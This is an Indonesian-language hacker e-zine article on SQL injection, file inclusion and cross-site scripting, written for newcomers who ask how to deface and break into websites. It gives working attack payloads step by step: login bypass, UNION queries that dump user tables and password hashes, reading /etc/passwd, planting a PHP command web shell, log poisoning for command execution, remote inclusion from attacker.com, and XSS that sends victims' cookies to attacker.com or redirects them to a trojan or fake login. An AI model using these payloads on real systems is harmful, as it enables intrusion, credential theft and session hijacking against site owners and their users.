24 Hours A Day, 300/1200 Baud Presents... #################################################################### TOKET - Terbitan Online Kecoak Elektronik Defending the classical hackers mind since 1995 Publisher : http://www.kecoak-elektronik.net Contact : staff@kecoak-elektronik.net #################################################################### Subject : Top 3 Web Exploitation Writer : Straw Hat Pirates of BytesKrew Contact : Straw Hat Pirates Can't Be Contacted Style : Unicode Transformation Format (UTF-8) --[1]-- Kecoak Elektronik License Kecoak Elektronik secara aktif mendukung Blue Ribbon Campaign. Kami akan berusaha untuk menerbitkan semua informasi yang kami anggap patut diketahui, baik dokumen teks, artikel majalah, atau surat kabar. Seluruh kredit akan diberikan kepada sang pengarang. Kecoak Elektronik tidak bertanggung jawab atas tindakan orang lain. Informasi yang disajikan di situs ini adalah untuk tujuan pendidikan dan informasionil belaka. Jika anda memutuskan untuk mengejawantahkan dalam bentuk apapun informasi yang tersimpan di situs ini, anda melakukan atas keputusan sendiri, dan tidak seorangpun selain anda bertanggung jawab atas tindakan tersebut. Dipersilahkan untuk mengambil sebagian atau seluruh dari isi artikel yang kami terbitkan dengan tetap mencantumkan kredit atas pengarang dan Kecoak Elektronik sebagai penerbit online. Artikel yang dikutip atau diambil tidak dapat dipergunakan untuk kepentingan komersil. --[2]-- Introduction Website merupakan media komunikasi yang saat ini sudah sangat banyak digunakan baik oleh personal, organisasi, maupun perusahaan. Penggunaan website sebagai media komunikasi tidak terlepas dari menjamurnya internet. Penggunaan media website cukup memberikan banyak keuntungan bagi organisasi maupun perusahaan, tetapi bisa menjadi ancaman tersendiri bagi asset organisasi atau perusahaan. Banyak sekali celah keamanan yang ditemukan pada aplikasi website memungkinkan pihak tidak bertanggung jawab dalam mencuri asset organisasi atau perusahaan. Beberapa celah keamanan website yang sangat populer adalah SQL injection, File Inclussion, Cross Site Scripting (XSS), Cross Site Request Forgery(CSRF), dan masih banyak lagi celah keamanan berbasiskan website. Jeremiah Grossman pada blog-nya memposting Top 10 Web Hacking Technique pada blognya [ref.i] berdasar pada inovasi yang dibuat pada teknik hacking tersebut. Tulisan ini membahas Top 3 Web Exploitation berdasar pada seberapa sering celah keamanan tersebut diexploitasi. Mungkin sesuatu yang sedikit aneh mendadak TOKET merelease artikel mengenai web hacking. Tulisan ini dimaksudkan sebagai jawaban bagi para pendatang baru yang selalu bertanya bagaimana melakukan defacing website, inject ini itu, dan seterusnya. Akhirnya kami memilih 3 celah keamanan yang menurut kami paling sering diexploitasi yaitu: - SQL Injection - File Inclusion - Cross Site Scripting Okai, nothing's more to say, here we go.... --[3]-- SQL Injection SQL injection merupakan serangan dengan memanfaatkan cacat programming pada aplikasi website untuk mengeksploitasi database server. Selama database server berbasiskan SQL terkoneksi ke website yang vulnerable, serangan SQL injection tetap bisa dilakukan tidak peduli bahasa pemrograman (CFM,ASP,PHP,JSP, dst) dan DBMS (Ms SQL, MySQL, Oracle, PostgreSQL, dst) yang digunakaan. SQL injection dilakukan dengan memanfaatkan inputan user yang tidak tervalidasi dengan baik. Pihak tidak bertanggung jawab bisa menginputkan meta karakter pada inputan user tersebut kemudian dieksekusi oleh website dan dikirim ke database. Database server memproses meta karakter tersebut sebagai query SQL yang wajar. Proses SQL injection biasanya memanfaatkan meta karakter dan logika SQL sehingga pihak tidak bertanggung jawab bisa memodifikasi query SQL semaunya. Akibat dari serangan SQL injection biasanya berupa pencurian record database yang cukup confidential seperti username, password, email, bahkan nomor kartu kredit. Selain itu SQL injection juga bisa dimanfaatkan untuk mencuri login admin dan melakukan take over server sepenuhnya. Sebagai proof of concept, saya mengujikan serangan SQL injection ini pada mesin Ubuntu 8.10 dilengkapi dengan Apache, PHP, dan MySQL. --[3.1]-- Server Configuration magic_quotes_gpc = Off Tidak ada security module pada apache. --[3.2]-- SQL injection in Form Login SQL injection pada form login merupakan tipe yang paling sederhana, walaupun demikian masih banyak sekali website yang vulnerable dengan celah keamanan ini. SQL injection ini dimanfaatkan untuk membypass proses login. Seorang attacker bisa login dengan username tanpa password bahkan tanpa username dan password. Untuk menjelaskan proses terjadinya serangan SQL injection tipe ini, berikut sebuah contoh code yang bisa dieksploitasi. login

Username   :
Password   :
     
You are login as " . $r->namaLengkap . "
\n"; }else{ die('
Sorry, login failed!
'); } ?> Saya menggunakan tabel 'tblUser' sederhana sebagai backend code di atas yang isinya sebagai berikut : +----+----------+----------------------------------+----------------+------------+------------------+ | id | username | password | namaLengkap | Alamat | Pekerjaan | +----+----------+----------------------------------+----------------+------------+------------------+ | 1 | admin | 0192023a7bbd73250516f069df18b500 | Administrator | Yogyakarta | IT Consultant | | 2 | babon | 01839822bfade9dd76dfeb165cd53e34 | Babon Soetioso | Semarang | Security Analyst | +----+----------+----------------------------------+----------------+------------+------------------+ Setalah semua disiapkan, saya mencoba melakukan proses login dengan membuka http://example.com/login.php Saya menggunakan username 'babon' dan password 'anto123' yang merupakan pasangan login valid. Output dibrowser sebagai berikut: "You are login as Babon Soetioso" Kemudian saya menggunakan username 'admin' dan password 'apasaja' yang merupakan pasangan login tidak valid (password seharusnya admin123). Output dibrowser adalah "Sorry, login failed!" Celakanya parameter username dan password tidak disanitasi lebih dahulu sebelum diinputkan ke query MySQL. Seorang attacker bisa memanipulasi inputan login untuk membypass proses authentikasi, misalnya dengan username = admin' OR 'a'='a password = terserah Pasangan login ini bisa digunakan untuk membypass login 'admin' dan dianggap sebagai login valid. Output browser sebagai berikut: "You are login as Administrator" Proses ini bisa dijelaskan dengan menginputkan username dan password tersebut pada query MySQL doLogin.php menjadi: SELECT * FROM tblUser WHERE username = 'admin' OR 'a'='a' AND password = 'e00b29d5b34c3f78df09d45921c9ec47' Jika dianalisis query tersebut memberikan nilai TRUE untuk user 'admin', operasi dimulai dari operator AND (ingat operator AND lebih didahulukan dibanding OR layaknya perkalian terhadap penjumlahan) [ref.ii ]. Terima kasih kepada seorang temen, PHP programmer, sekaligus dosen yang tidak bisa saya sebutkan namanya telah memberi ide mengenai "operator precendence". 'a'='a' AND password = 'e00b29d5b34c3f78df09d45921c9ec47' => TRUE AND FALSE hasilnya FALSE, kemudian: 'admin' OR FALSE hasilnya tentu saja adalah 'admin', sehingga ketika dimasukkan inputan username dan password seperti demikian bisa digunakan untuk membypass authentikasi. --[3.3]-- SQL injection in URI parameters SQL injection pada parameter URI jauh lebih banyak ditemukan dibandingkan pada form login. Bahkan sering ditemukan pada Content Management System (CMS) yang sudah mature sekalipun. Sayangnya SQL injection jenis ini lebih sulit untuk dieksploitasi bahkan kadang bisa dikatakan sangat sulit. Butuh imaginasi dan kreatifitas tinggi untuk mengeksploitasi beberapa jenis SQL injection pada parameter URI. Contoh code berikut digunakan untuk menampilkan sebuah berita dengan mengambil parameter dari URI. [news] " . $r->judul . "\n"; echo "
" . $r->isi . "

\n"; }else{ die('
Sorry, article is not found!
'); } }else{ echo "
This is homepage

\n"; } ?> Saya menggunakan tabel 'news' sederhana sebagai backend code di atas yang isinya sebagai berikut : mysql> select * from news; +----+---------------------+---------------------------------------------------------------------+ | id | judul | isi | +----+---------------------+---------------------------------------------------------------------+ | 1 | Facebook Hacked | Facebook Hacked days ago, so many personal information were stolen! | | 2 | Jakarta underground | Jakarta underground community made a nice party last night. | +----+---------------------+---------------------------------------------------------------------+ 2 rows in set (0.00 sec) Setelah semua disiapkan, saya merequest file news.php seperti berikut : http://example.com/news.php, maka pada browser ditampilkan "This is homepage" http://example.com/news.php?aid=1, maka pada browser ditampilkan "[news] Facebook Hacked Facebook Hacked days ago, so many personal information were stolen!" Siapapun bisa mengubah-ubah parameter "?aid=", celakanya variable $_GET['aid'] tidak disanitasi terlebih dahulu dan digunakan sebagai parameter untuk men-query tabel di database. Hal ini bisa dimanfaatkan oleh attacker untuk mengeksekusi sembarang perintah SQL sekehendaknya. Berikut ini step by step sederhana yang biasa digunakan oleh attacker untuk mencuri data pada server. (i). Pengujian apakah sebuah website vulnerable, bisa dilakukan dengan memanfaatkan logika AND. http://example.com/news.php?aid=1 AND 1=1-- Logika AND 1=1 memberikan nilai TRUE, sehingga browser menampilkan informasi sewajarnya untuk aid=1. http://example.com/news.php?aid=1 AND 1=0-- Logika AND 1=0 meberikan nilai FALSE, sehingga browser tidak menampilkan hasil untuk aid=1. Jika kondisi ini terjadi pada suatu website, ada kemungkinan website tersebut vulnerable dengan serangan SQL injection. (ii). Menentukan berapa jumlah field yang digunakan pada query SQL di file news.php dengan UNION SELECT. http://example.com/news.php?aid=1 UNION SELECT 1-- http://example.com/news.php?aid=1 UNION SELECT 1,2-- http://example.com/news.php?aid=1 UNION SELECT 1,2,3-- Pada request pertama dan kedua, browser menampilkan error menandakan jumlah field belum sama. Pada request ketiga browser menampilkan hasil yang sewajarnya untuk aid=1 yang menandakan jumlah field pada tabel adalah 3. (iii). Menentukan field mana saja yang ditampilkan di browser. http://example.com/news.php?aid=-1 UNION SELECT 1,2,3-- Pada kondisi ini diketahui bahwa field yang ditampilkan di website adalah field nomor 2 dan 3, hal ini diketahui dari output di browser sebagai berikut [news] 2 3 (iv). Menentukan user yang digunakan dan database tempat tabel disimpan. http://example.com/news.php?aid=-1 UNION SELECT 1,database(),user()-- Dari output dibrowser diketahui bahwa database yang digunakan adalah 'sqlpoc' dengan username 'root'. [news] sqlpoc root@localhost (v). User 'root' pada DBMS MySQL merupakan user yang memiliki access paling tinggi dan diizinkan menjalankan semua query SQL. Bagaimana jika anda tidak mendapatkan user 'root'? Walaupun banyak keterbatasan tetapi hampir semua user pasti mendapat akses ke query 'SELECT'. (vi). Masih dengan menggunakan UNION SELECT, dapatkan informasi tabel apa saja yang ada pada database 'sqlpoc' dengan meng-query record pada information_schema.tables sebagai berikut: http://example.com/news.php?aid=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()-- Dari hasil query ini diketahui bahwa ada dua buah tabel pada database 'sqlpoc' yaitu tabel 'news' dan tabel 'tblUser'. (vii). Selanjutnya saya ingin melihat isi 'tblUser', untuk itu saya harus mengetahui field apa saja pada tabel tersebut dengan cara meng-query information_schema.columns sebagai berikut: http://example.com/news.php?aid=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='tblUser'-- Dari hasil query ini diketahui bahwa ada enam buah field pada tabel 'tblUser' yaitu : id,username,password,namaLengkap,Alamat, dan Pekerjaan. Saya mendapatkan saran dari senior security analyst di salah satu perusahaan keamanan di Indonesia untuk menambahkan penggunaan karakter hexadesimal. Jika penggunaan malicious URI di atas gagal, tblUser bisa dikonvert ke hexadesimal sehingga menjadi. http://example.com/news.php?aid=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name=0x74626c55736572-- (viii). Langkah terakhir adalah mendapatkan isi tabel 'tblUser'. Misal saya ingin tahu isi field username,password, dan nama lengkap maka: http://example.com/news.php?aid=-1 UNION SELECT 1,2,CONCAT_WS(0x2c,username,password,namaLengkap) FROM tblUser-- http://example.com/news.php?aid=-1 UNION SELECT 1,2,CONCAT_WS(0x2c,username,password,namaLengkap) FROM tblUser WHERE username!='admin'-- Output hasil query ini adalah: admin,0192023a7bbd73250516f069df18b500,Administrator babon,01839822bfade9dd76dfeb165cd53e34,Babon Soetioso (ix). Selain digunakan untuk melakukan pencurian record database, SQL injection pada PHP MySQL juga bisa digunakan untuk melakukan pembacaan file, contohnya: http://example.com/news.php?aid=-1 UNION SELECT 1,2,LOAD_FILE('/etc/passwd')-- atau dalam hexal menjadi: http://example.com/news.php?aid=-1 UNION SELECT 1,2,LOAD_FILE(0x2f6574632f706173737764)-- Dari hasil query ini, pada browser akan ditampilakn isi file /etc/passwd. LOAD_FILE() bisa digunakan selama user yang meng-query memiliki akses FILE. (x). SQL injection juga bisa digunakan untuk meletakkan backdoor web shell. Untuk pembuatan backdoor web shell dibutuhkan direktori yang bisa ditulisi oleh user MySQL dan bisa diakses via web. Biasanya harus pada direktori dengan permisi 777. Misalnya direktori /var/www/html/images bisa ditulisi oleh user MySQL maka backdoor web shell bisa dibuat dengan http://example.com/news.php?aid=-1 UNION SELECT "",2,3 INTO OUTFILE '/var/www/html/images/bd.php' Jika gagal gunakan kreatifitas anda, misalnya query di atas bisa diubah menjadi http://example.com/news.php?aid=-2 UNION SELECT 1,1,CONCAT(char(0x3c),char(0x3f),char(0x70),char(0x68),char(0x70),char(0x20),char(0x73),char(0x79),char(0x73),char(0x74),char(0x65),char(0x6d),char(0x28),char(0x24),char(0x5f),char(0x47),char(0x45),char(0x54),char(0x5b),char(0x27),char(0x63),char(0x6d),char(0x64),char(0x27),char(0x5d),char(0x29),char(0x3b),char(0x20),char(0x3f),char(0x3e)) INTO OUTFILE '/var/www/html/images/a.php'-- Backdoor web shell kemudian bisa diakses sebagai berikut (misalnya mengeksekusi perintah 'id') http://example.com/images/bd.php?cmd=id Mudah-mudahan pembahasan yang cukup sederhana ini bisa membuka pemahaman bagi mereka yang sedang belajar SQL injection. Please, don't ask me again about this material! --[4]-- File Inclussion File inclussion merupakan serangan dengan memanfaatkan cacat programming pada aplikasi website untuk mengeksploitasi server tempat di hostingnya website tersebut. Proses exploitasi bisa berupa pencurian file file kritikal pada sebuah server seperti file password atau juga eksekusi perintah sistem operasi untuk melakukan take over server secara penuh. Celah file inclussion dikategorikan dalam dua jenis, jenis yang pertama adalah "local file inclussion" sedangkan yang kedua adalah "remote file inclussion". Local file inclussion (LFI) menginputkan file yang ada di dalam server untuk dieksekusi dan ditampilkan ke website, misalnya dalam sistem linux/*NIX seorang attacker bisa menginputkan file password (/etc/passwd), file group (/etc/group), file konfigurasi apache (httpd.conf), dan file log apache (error_logs dan access_logs). Proses pembacaan file file ini oleh pihak tidak bertanggung jawab sangat berguna dalam menambah informasi bagi mereka dalam tujuannya menguasai server. Remote file inclussion (RFI) memungkinkan untuk menginputkan file yang ada pada web server lain di internet. File yang diinputkan biasanya digunakan untuk mengeksekusi perintah perintah sistem operasi atau biasa dikenal dengan web shell. Dengan menggunakan web shell, sangat memungkinkan bagi attacker untuk mendapatkan shell interaktif server web yang vulnerable. Selanjutnya attacker bisa mengeksploitasi server lebih jauh untuk mendapatkan akses tertinggi dan menguasai server secara penuh. Sebagai proof of concept, saya mengujikan kedua jenis file inclussion ini pada mesin linux Ubuntu 8.10 dengan web server apache dan bahasa pemrograman PHP. --[4.1]-- Server Configuration allow_url_include = On magic_quotes_gpc = Off safe_mode = Off open_basedir = disable_functions = Tidak ada security module pada apache. Really hard to find this kind of server now rite? It seems PHP is now well hardened by its default install, tapi tenang masih banyak kok yang bisa dieksploitasi. --[4.2]-- Local File Inclussion Untuk mendalami bagaimana Local File Inclussion terjadi, mari kita buat sebuah code PHP sederhana untuk menjelaskan bagaimana vulnerability ini bisa diexploitasi. Saya menyimpan file tersebut dengan nama index.php pada direktori /var/www/html/, kemudia saya membuat direktori modules/ pada direktori tersebut. Saya mengisi direktori modules/ dengan dua buah file, yaitu news.php dan paper.php masing masing sebagai berikut: News cant access directly'); } echo "
Halaman ini berisi berita
\n"; ?> Paper cant access directly'); } echo "
Halaman ini berisi paper riset
\n"; ?> Setelah semua file disiapkan, saya mencoba untuk merequest file index.php sebagai berikut : (a). http://example.com/index.php?module=news maka pada browser muncul "Halaman ini berisi berita" (b). http://example.com/index.php?module=paper maka pada browser muncul "Halaman ini berisi paper riset" Siapapun bisa mengubah ubah parameter "?module=" termasuk orang yang tidak bertanggung jawab. Celakanya variable $_GET['module'] pada code index.php tidak difilter dengan baik sebelum di-include-kan sehingga bisa dieksploitasi untuk menampilkan file file penting pada server, misalnya /etc/passwd. Misalnya saya seorang attacker yang ingin mendapatkan isi file /etc/passwd dan /etc/group, maka saya melakukan request sebagai berikut : (a). http://example.com/index.php?module=../../../../../../../etc/passwd%00 Tentu saja pada browser muncul isi file /etc/passwd (b). http://example.com/index.php?module=../../../../../../../etc/group%00 Tentu saja pada browser muncul isi file /etc/group Exploitasi bisa dilakukan oleh attacker untuk mendapatkan file lain yang dia inginkan. Walaupun demikian, cacat programming di atas hanya bisa untuk meng-include-kan semabrang file pada server itu sendiri. Hal ini dikarenakan adanya definisi direktori ROOTDOC yang hanya bisa di-bypass secara transversal. Oleh karena itu celah LFI juga sering disebut dengan "Path Transversal Vulnerability". Atas saran seorang teman, seorang security analyst di salah satu perusahaan keamanan di indonesia yang tidak bisa saya sebutkan namanya (for some reason), saya diminta untuk menambahkan bagaimana LFI bisa dimanfaatkan untuk melakukan Remote Command Execution (RCE). Saya teringat kasus website PHPBB yang disusupi beberapa waktu lalu, attacker memanfaatkan log apache untuk mengeksekusi unix command. Tetapi saat saya melihat default log apache saya hanya readable oleh user root. Teman saya kemudian memberikan saran menggunakan /proc/self/environ, but somehow that file is not readable oleh user apache *why?*. Saya asumsikan attacker beruntung menemukan web server yang access_log nya public readable. Untuk memanfaatkan log file apache sebagai web shell, lakukan request HTTP melalui telnet atau dengan socket programming. Request melalui browser tidak bisa digunakan untuk membuat web shell pada access_logs, karena request tersebut sudah URL encoded. Untuk menginjeksikan web shell pada log apache, gunakan telnet sebagai berikut: $ telnet example.com 80 Trying example.com... Connected to example.com. Escape character is '^]'. GET / HTTP/1.1 Host:example.com Tekan ENTER dua kali, hasil dari request ini pada access_logs apache adalah, 114.xxx.xxx.xxx- - [21/May/2009:18:35:54 -0700] "GET / HTTP/1.1" 404 316 "-" "-" Selanjutnya yang perlu dilakukan attacker adalah menemukan path log apache tersebut untuk di-include-kan pada file yang vulnerable LFI. Bagaimana caranya?? Cara yang paling sederhana adalah dengan menbak-nebak, file log apache biasanya terletak pada /var/log/httpd/access_log /var/log/apache/access.log /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log dan seterusnya, use your experience... Terakhir, attacker tinggal memanfaatkan access_logs tersebut untuk menginjeksikan perintah sistem operasi. Pada percobaan ini access_log saya ada pada /usr/local/apache/logs/access_log, sehingga untuk mengeksekusi command 'id' bisa dilakukan dengan merequest malicious URI berikut: http://example.com/index.php?module=../../../../../../../usr/local/apache/logs/access_log%00&cmd=id Attacker selanjutnya bisa mengeksekusi perintah yang lain sesuai keinginannya. Tulisan pada [ref.iii] bisa menjadi acuan yang lebih baik untuk memahami pemanfaatan LFI dalam remote command execution. --[4.3]-- Remote File Inclussion Sebuah code yang memiliki cacat RFI biasanya juga bisa dieksploitasi dengan LFI juga tetapi tidak sebaliknya. Contoh potongan code untuk menjelaskan LFI di atas tidak vulnerable dengan RFI. Untuk melihat bagaimana cacat programming dan mengakibatkan RFI, saya menggunakan potongan code berikut: Sebelum uji coba dilanjutkan, pada default install php5 di ubuntu intrepid, konfigurasi php.ini sudah di-hardening dengan tidak mengizinkan URL include. Bagi yang ingin melanjutkan uji coba pada artikel ini, silakan edit php.ini menjadi "allow_url_include = On". Selanjutnya saya merequest file view.php dengan parameter berikut: (a). http://example.com/view.php?page=http://attacker.com/injek.txt&exec=id URI ini berguna untuk mengeksekusi perintah 'id' dan menampilkan hasilnya di browser. (b). http://example.com/view.php?page=http://attacker.com/injek.txt&exec=ls -al URI ini berguna untuk mengeksekusi perintah 'ls -al' dan menampilkan hasilnya di browser. Eksekusi perintah shell lain bisa dilakukan sesuai keinginan attacker. Untuk keperluan eksploitasi celah RFI biasanya digunakan web shell yang sudah dilengkapi beragam fasilitas seperti r57, r58, atau c99. Dengan menggunakan beragam web shell tersebut sangatlah mudah untuk mendapatkan shell interaktif dan kemudian melakukan priviledge escalation. --[5]-- Cross Site Scripting (XSS) Cross Site Scripting atau biasa dikenal dengan XSS adalah jenis celah keamanan pada aplikasi website yang dapat digunakan oleh pihak bertanggung jawab untuk mengeksekusi code HTML atau javascript pada komputer korban. Umumnya komputer korban adalah client yang mengakses website vulnerable. Ada tiga tipe XSS yaitu [ref.iv]: - DOM based XSS, merupakan XSS yang terjadi karena kesalahan programming file pada local machine target. Beberapa software yang terinstall biasanya memiliki HTML page untuk berbagai keperluan. Jika file ini memiliki celah XSS maka sangatlah mungkin menimbulkan DOM based XSS. Celah DOM based XSS biasanya muncul ketika ditemukan vulnerability pada sebuah software. Exploitasi pada celah XSS berbasis DOM ini hampir sama dengan exploitasi non-persistent XSS. - XSS non-persistent, merupakan XSS yang paling sering ditemui pada aplikasi berbasiskan website. XSS jenis ini terjadi karena kesalahan pemrograman yang tidak mensanitasi inputan user dengan baik. Jenis XSS ini sifatnya hanya sementara yaitu ketika user menge-klik malicious URI dan browser memproses respons HTTP dari request URI tersebut. Contoh XSS jenis ini banyak ditemui pada aplikasi searching pada sebuah website. - XSS persistent, juga merupakan jenis XSS pada aplikasi berbasis website. XSS jenis ini terjadi karena kesalahan pemrograman yang tidak mensanitasi inputan user dengan baik. Jenis XSS ini merupakan XSS yang paling berbahaya karena tersimpan secara permanent pada database. Contoh XSS ini banyak ditemui pada guestbook, jenis XSS ini juga yang pernah menimbulkan worm MySpace. Akibat dari celah keamanan ini lebih banyak menimpa client dibanding server misalnya pencurian cookie, session hijacking, phising. Tetapi untuk beberapa jenis XSS bisa berakibat fatal pada server misalnya adanya worm berbasiskan XSS pada MySpace. --[5.1]-- XSS non-persistent dan DOM Untuk menjelaskan lebih jauh bagaimana exploitasi XSS ini terjadi saya akan menggunakan contoh kode sederhana yang vulnerable terhadap XSS non-persistent berikut (Proses exploitasi ini juga berlaku untuk XSS berbasis DOM): Searching for ". $_GET['key'] . "...
\n"; } ?> Potongan code seperti diatas banyak dipakai untuk memberikan judul sebuah proses searching dengan method GET. Misalnya kode di atas disimpan sebagai search.php. Kemudian saya melakukan request URI normal berikut: http://example.com/search.php?key=love, maka pada browser muncul "Searching for love..." --> lagi patah hati ya om http://example.com/search.php?key=woman, maka pada browser muncul "Searching for woman..." --> lagi horni ya ya mbah? (rofl) Celakanya request GET itu tidak tersanitasi dengan baik oleh pengaman, ketika user menginputkan malicious kode HTML atau javascript dieksekusi oleh browser, misalnya: http://example.com/search.php?key=

woman

, nah lo makanya pake pengaman, womannya jadi bengkak tuh :) http://example.com/search.php?key= maka pada browser akan muncul textbox alert. Okai pengenalan XSS nya cukup, selanjutnya bagaimana celah tersebut bisa digunakan untuk melakukan kejahatan? Jawabannya adalah dengan memanfaatkan kode javascript. Berikut ini beberapa contoh pemanfaatan XSS. --[5.1.1]-- Cookie stealing Cookie stealing digunakan untuk mencuri cookie yang ada pada komputer client, bermanfaat untuk session hijacking berujung pada login bypass. Untuk melakukan cookie stealing bisa dilakukan dengan malicious URI berikut: http://example.com/search.php?key= isi payload.js adalah, document.location="http://attacker.com/cookie-save.php?c="+document.cookie sedangkan file cookie-save.php sebagai berikut: ketika user menge-click malicious URI di atas, maka akan dibuat file berisi cookie pada /tmp/cookie.txt. Untuk mengurangi kecurigaan user terhadap malicious URI di atas, attacker bisa menggunakan hexal decoder sehingga bentuk URI di atas menjadi lebih lazim yaitu: http://example.com/search.php?key=%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2e%63%6f%6d%2f%70%61%79%6c%6f%61%64%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e Yang perlu diingat adalah direktori tempat penyimpanan file cookie.txt harus bisa ditulisi oleh user apache. --[5.1.2]-- URL redirection dan phising URL redirection bisa dimanfaatkan untuk kepentingan membohongi user mendownload malicious file (misalnya virus atau trojan) atau bisa juga untuk phising dengan membuat fake login. Pada dasarnya malicious URI yang digunakan sama dengan untuk keperluan pencurian cookie yaitu: http://example.com/search.php?key= hanya saja isi dari payload.js adalah file trojan executeable atau halaman fake login, document.location="http://attacker.com/trojan.exe" atau, document.location="http://attacker.com/fake-login.php" Isi payload.js sendiri sebenarnya berupa javascript yang bisa dimodifikasi oleh attacker. Semakin attacker mengerti javascript semakin banyak juga kreasi serangan yang bisa dibuat. Attacker juga bisa mengganti script javascript dengan VBscript untuk korban yang menggunakan Internet Explorer pada mesin windows. "Just follow your wildest imagination!" --[5.2]-- XSS persistent XSS persistent bersifat permanen karena inputan user yang tidak tersanitasi tersimpan dalam database. Contoh kode berikut berfungsi sebagai guestbook sederhana yang vulnerable XSS.
" method="post"> 
Nama
     : 
Comment
     :
        
Success! Your comment's successfully posted!"; } else if($_GET['action']=='view'){ $select = "SELECT nama,comment FROM gbook"; $q=mysql_query($select) or die(mysql_error()); while(($r=mysql_fetch_object($q))){ echo "
" . $r->nama . "'s comment : " . $r->comment . "

\n"; } } else{ die("
 Error! Invalid input

\n"); } mysql_close(); } ?> Secara sederhana exploit untuk celah keamanan XSS non-persistent juga bisa digunakan pada XSS persistent, hanya saja efeknya yang berbeda. XSS non-persistent hanya berupa response HTTP tetapi XSS persistent tersimpan di server. Untuk berbagai aplikasi yang lebih rumit, XSS jenis ini bisa dimanfaatkan untuk membuat worm. Untuk tulisan ini saya menggunakan tipe exploit untuk pencurian cookie seperti pada XSS non-persistent. Walaupun demikian XSS jenis ini jauh lebih powerful untuk mencuri cookie dibanding non-persistent. Pada XSS non-persistent, attacker harus menjebak seseorang untuk menge-klik sebuah link tertentu yang dibelokkan ke cookie grabber. Pada XSS persistent ini attacker cukup memposting pada guestbook javascript code untuk menncuri cookie, ketika ada user yang melihat isi guestbook maka akan segera dibelokkan ke cookie grabber. XSS persistent ini memungkinkan pencurian cookie secara massive terhadap user user yang melihat isi guestbook, tidak terbatas pada satu user yang dijebak saja. Misal berikut ini beberapa contoh postingan pada guestbook di atas: http://example.com/guestbook.php?action=post kemudian saya mengisi Nama="Anto" dan Comment="Ini postingan pertama", Untuk melihat isi guestbook saya membuka, http://example.com/guestbook.php?action=view Maka muncul "Anto's comment : Ini postingan pertama". Selanjutnya ada attacker yang memposting exploit XSS dengan mengisi Nama="Attacker" dan Comment="". Isi payload.js sama seperti pada XSS non-persistent, maka siapapun yang melihat isi guestbook melalui, http://example.com/guestbook.php?action=view dia akan dibelokkan ke URL ookie grabber dan cookie yang ada pada komputernya akan tercuri. Dari ilustrasi ini mudah mudahan pembaca bisa memahami perbedaan XSS DOM, non-persistent, dan persistent. --[6]-- Referensi [ref.i] http://jeremiahgrossman.blogspot.com/2009/02/top-ten-web-hacking-techniques-of-2008.html [ref ii] http://dev.mysql.com/doc/refman/5.0/en/operator-precedence.html [ref.iii] http://milw0rm.com/papers/260 [ref.iv] http://en.wikipedia.org/wiki/Cross-site_scripting --[7]-- Source C0de begin 644 all-c0de.tgz M'XL(`%9U%TH``^U;>T_;RA+OW_D4@Q5=!R[@O)$@":(E+4@44)*>,OI@Q:X6B[/7?]ROBC7OTB?6*Y0+.S@^N>7(\XD_>;K7]O' M9<]H&YFVH]LVH#HP"#EX.-P^#/@0?.;PD$'?LAE8KF%'06!Q-[.A93)6/V<% M`0MSV>ZG9N="=;@9V4S]MK[^3P:0N<8<+[R?R07(4HNN[C"HXX_)(K`-"JFC MLD(!>%[>K5'<#IV M+;BD5U0*`H90'.BNCM`R6=]R64X]?']TUNZHFZJ-`+4'/`A5[."1^Z7=;"&7 MYG>2<7[0;L>,0K$TR3L]^-Q$7G!C>]P@UA-CI!MD#&)SX]QCR:[!79<984Y* MM"F[WI0=K0/WP;183A9EOL_]W#K9#?DB8#96[9J]G.Q\;GEA^:9DJ-=53XS[ M'S(XF5J?^PY(9ET1*P#,&'"@66_]T6Q=J.='Y_C]Y*.TA?MQV4"_9[#<4 M<%@XX&9=H7:51J86ZCV;T=-O9*`6FHV:Y[/&J>[H-8V^U31\)SG_<7N!MS?^ M";LPQJ]9KA>%$-Y[K*Z$["Y4@*QN7<%/78E;PD__27TRGUJ!O]IM\)@?6$&(PT;LH$>TW(#Y M(3I'Y?@4M:(#QZ>=,Q!@A!RMQ&8\2^OPQ\')EV8;$U%9%K'D[,@RT'FOPE4<^)$T' M$,CW_KS7^=H64#Z/14]LDF&P9FB39&AR[J'66"5(?1_5! M-"`#F<2>V3Q@9*TQL/G10";V_S:_M-PW\O^XV\M/Q_^58BGU_ZN@VB!T;#1C M%$6C';9"-&I"&=#"B1\U3;`RM;6M+2!O+W8"(WV!K2WD];AY+Y5I,?I+4>_1@9)-&'@QZW,<0HJ[DE0GOTN<(I\#Z'QKCH@)]W<`OM\PW M,=10&E_06I'CF&/J=U_BVZ*XC;G^[5D)SO4@&*+DWRN!%]=+I!C]?H&3F]/7 M"UU:O!0+O%I-&RVD)M88GU)AWEIO4WH=BNW_&#)?OX]%]K]0+8_V?^4*OB^4 M\J5\:O]701\'WG!P>@C)Z$9EQ0P0 M&X-%N2D4?>*6_(8F9CR^%0\4%8-H^=Z-G*[/AP&%KFOU/`6O)Q[PMS+:]V;%X_]2I9S>_ZR"IM;?TSWFOW84L.C^IU2I3JU_ MN9A/_?]*J';4^7R"8?U1\^"P4>L<=TZ:N)M!):AI\D=-$ZQ,[?W9X==&)HD7 M'K>"(Y4!=)#HBIC/+JV<.GJM;LXZUA0G*])KG+>:#4/'W94N3HSPK8\^RKZO M:<217B-V5?3B2+?1)[E@H0`]YEN!)44`_,I"64GXIGW:K<12:W*8;SW;/Q]- MX=]EP^#5-P$+\5]^@O\\%D_QOP*:A?]35((7PS_1F$GT)V]7`'YZA'J*^Q^C M&/]WP>O#?D0+\5^H3,=_Q5*:_[$26GS_*Z^1:']*UU31E67PGJ[2!EE>"(O; MJ[&]LL%-)FW!Q'WL-;N/@:]M3-:@^ZZQK2BTF>X;`]1*Z./>7-F&\19$:LCV M]I-]Z(_?@/S>%./?T^]MKIO;5\$2^EB$?X3[-/ZKU33_8R5D1&=F/$L0)*S.R7VC?-2NYY6$\K67B/@#C2LN@%.(`7!YB9!>YX_<"E)T; MUQWKKC/`XO@WX`[S]$LVE0R37B?\>TKR?]XR_[\R(_^_FI[_K(06YO\+@S\S M_7]DR,\^M,[.T#F`JMWJOC8<#L="QOAD497WE*_T_P)QEV2#M#'3FO[_P'=3 